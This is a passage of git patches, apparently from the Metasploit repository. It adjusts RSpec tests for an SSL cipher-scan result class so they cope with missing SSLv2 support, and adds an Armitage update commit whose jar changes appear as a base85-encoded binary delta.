:version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :rejected}) + it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) + subject.rejected(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :rejected}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end end it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do @@ -249,7 +253,6 @@ describe Rex::SSLScan::Result do context "enumerating all accepted ciphers" do before(:each) do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) @@ -267,7 +270,7 @@ describe Rex::SSLScan::Result do subject.each_accepted do |cipher_details| count = count+1 end - count.should == 4 + count.should == 3 end end @@ -281,8 +284,8 @@ describe Rex::SSLScan::Result do end it "should return only ciphers matching the version" do - subject.each_accepted(:SSLv2) do |cipher_details| - cipher_details[:version].should == :SSLv2 + subject.each_accepted(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 end end end @@ -293,7 +296,7 @@ describe Rex::SSLScan::Result do subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| count = count+1 end - count.should == 4 + count.should == 3 end it "should return only the ciphers for the specified version" do @@ -306,7 +309,6 @@ describe Rex::SSLScan::Result do context "enumerating all rejected ciphers" do before(:each) do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) @@ -324,7 +326,7 @@ describe Rex::SSLScan::Result do subject.each_rejected do |cipher_details| count = count+1 end - count.should == 4 + count.should == 3 end end @@ -338,8 +340,8 @@ describe Rex::SSLScan::Result do end it "should return only ciphers matching the version" do - subject.each_rejected(:SSLv2) do |cipher_details| - cipher_details[:version].should == :SSLv2 + subject.each_rejected(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 end end end @@ -350,7 +352,7 @@ describe Rex::SSLScan::Result do subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| count = count+1 end - count.should == 4 + count.should == 3 end it "should return only the ciphers for the specified version" do @@ -366,9 +368,13 @@ describe Rex::SSLScan::Result do it "should return false if there are no accepted ciphers" do subject.supports_sslv2?.should == false end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.supports_sslv2?.should == true + it "should return true if there are accepted ciphers or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.supports_sslv2?.should == true + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end end end context "for SSLv3" do @@ -403,8 +409,8 @@ describe Rex::SSLScan::Result do context "checking for weak ciphers" do context "when weak ciphers are supported" do before(:each) do - subject.add_cipher(:SSLv2, "DES-CBC-MD5", 56, :accepted) - subject.add_cipher(:SSLv2, "EXP-RC2-CBC-MD5", 40, :accepted) + subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) + subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) end it "should return an array of weak ciphers from #weak_ciphers" do weak = subject.weak_ciphers @@ -422,7 +428,6 @@ describe Rex::SSLScan::Result do context "when no weak ciphers are supported" do before(:each) do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) @@ -442,9 +447,13 @@ describe Rex::SSLScan::Result do subject.standards_compliant?.should == true end - it "should return false if SSLv2 is supported" do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.standards_compliant?.should == false + it "should return false if SSLv2 is supported or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.standards_compliant?.should == false + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end end it "should return false if weak ciphers are supported" do From 4ab8315db050632c28f60ab9e3097cf741cf0030 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Mon, 4 Mar 2013 23:11:20 -0500 Subject: [PATCH 290/341] Armitage 03.06.13 Apparently, my last update came from the future. This modification to that future update fixes an oversight preventing Armitage from connecting to its collaboration server because it would report the wrong application. --- data/armitage/armitage.jar | Bin 3220970 -> 3220971 bytes data/armitage/cortana.jar | Bin 3220965 -> 3220966 bytes data/armitage/whatsnew.txt | 5 +++++ external/source/armitage/scripts/armitage.sl | 2 +- .../source/armitage/scripts/preferences.sl | 5 ++++- external/source/armitage/whatsnew.txt | 5 +++++ 6 files changed, 15 insertions(+), 2 deletions(-) diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index b4ee0c001f7c23728810224e7bb7658d74357b72..143b587e24614fb24e7a6ada5e163bf7a6a86dea 100755 GIT binary patch delta 17817 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 TCJ@S?-jFXV_9_WJai#qqm&#D+ delta 18188 zcmZvD2|QHa`@fmN%-HumJ2A%GJGQh4i6jZ_i%@B?B+;S`Eh<`+I9kYB$`X-DQW8Za zWhrGzqC|+Oq~(9^xl5A6HO%;7`nT9!*e0K!712P-cEg z%#d1YerifR{5MvNvXdZ@6b|*ad2A6Sh~QQWtAjos#*B5PiV(b~p!(?_^l?rgcARR& z7sdBe=&^68jszP(GXdCrOn9Ph0Bs*3?4#Kb1QX%2p}vHuDOg=^>rgzy+0BS z7UT-Lr5lBbmA|W04@topWo;TkZ>sfE2%4$hLy@>`zHZi#_&!Gws(`?3!Pt8yItBMN zRjGu$U3)d6HhPDVUA2K3;{UL$N!)lTqGvG`B)?%o6(a14r@TSJ#il=Hu*F+*K3%WWQ zcv#XE&|up%x(OOwnL*!%2AbCN6U01td3N+S$o!N&y%P;~%%O)Pozc1Ub~I>qrVpdR z^9A(BNGHjS?uQW3Mf8(saA65Ok}QNF^GU=7Scv%em2^d(!*Y5KG8tLH_ussV{u-I^ zJn6rYi04fgr80>kT3%k^UIXrU(p7oy*V5aN^nnju4e57opi2_P8(h&;0#>^>E4Z} z??Qv=XX&R=b!rpo?MNs8BKC0^^g%+hyq)evv^cM%i~a=pJNkjHjn*+|h(3mptHbmUOhPC2H@%2x4&FQ} z;{%$wnFwPg(LTIWQj89yyiJDjn?S%eWyVWF;-bQcMUr=_3>g&an zsXh!7}ta zoQ4`6%p#PYv=j3M z8ho6`B>SsoKC_dwksgk_a~|3xkTy*VnAu1*(v8_dY7`db`lbKp_2@$84WwbSnE4hB zbe1wtpiByuGsVyp?|Crqs1n&mgfd}gmzwk1!kA4+=jMLq3_*y1uaV5_gyiaBW(R{9 zoQPrC(}_VNVD@Pd1+OS(z976@xWyz7>D{-P>L}#-Ql_31p<7rf=;cg&{*pw`LUMI#0YADEMfRt3Dz%(nz^Zjh-&T&h9gFJ=V+?E1}& zB)lD>iX5Vf9-@jJqKY4)N*tm}9->MeqDmj4%G{vJ>c1p(SubU06S{}DG|BR|G|3r8 z6X^N1@`Y$NZhrF2%>=UQmHam%)x(Qh4G#3#!2ZzUUHF;yX zTDN9EhR5sGT9ic$#DVsUTsQz-_Bt;JpwvM}m59W9Jx7O}g63Qup5|QL9ijw!c9HJw zR${Q!MDIF*92T9a#}l2YUyUmM!bbm06@mIQC-eN71`Dnbx~10*BG8K46dQ=WBM_Gh zhDiwNPc?L663Db{LlzpWzhT&_CSD4!5bx~v$&5${2x#(L>kJd=VGMjzH8-lQeYk)1 zhpsk1x}U@D1IdfuvG!WNTsh51&EwN01@0Zsm1YXXBP(7;_7MUsuuR{1oil(lgdKiOM{=A5ZfewlWCckQ~v(a(2pnq_q5 z54~yor|qLYvG0$LEOSW8+7gyiVgI^G;BI zo=$&Jw|>5T;w}rv5k|tc)%()=U%37fR`W<#ovdei{Eb+-vG&Q=4ZEiFeya}Y$xMH) z@#67P3pWmU5Yswc+E|NaPb_-3^lKAx%bQ+wF$@rz6dPY2Y2K{rl z!H~1OR6QkE+g%@*jJ~U@?q|K(Q!;kavxi;FpS(Zq6(}xVVJRK1;e;>oridumlp8zl z_tA)>z3ZQ!>zCw~+AP3-igZykmEpQ&L9XkR&xK!^{mQu3F)StD zf^t*pBpz{DOvA8FK-f&p>*k{o!*vG^T&(5HR7+C!+p#~*_i$v-jWfm<-7Otf9WD7O zQZP?sXkhPv?8)a(OFe^5y}X{2dHl8XURv^-ii{e+tL>i{0lq7KX=^vuNHje-6JZzV zTPW48t0oa;6*pQDr@XA_pvXW$RZ#fTurPr`Q_U_|MBZ|8%=;4b=Ev(FFI;=%#D5D8 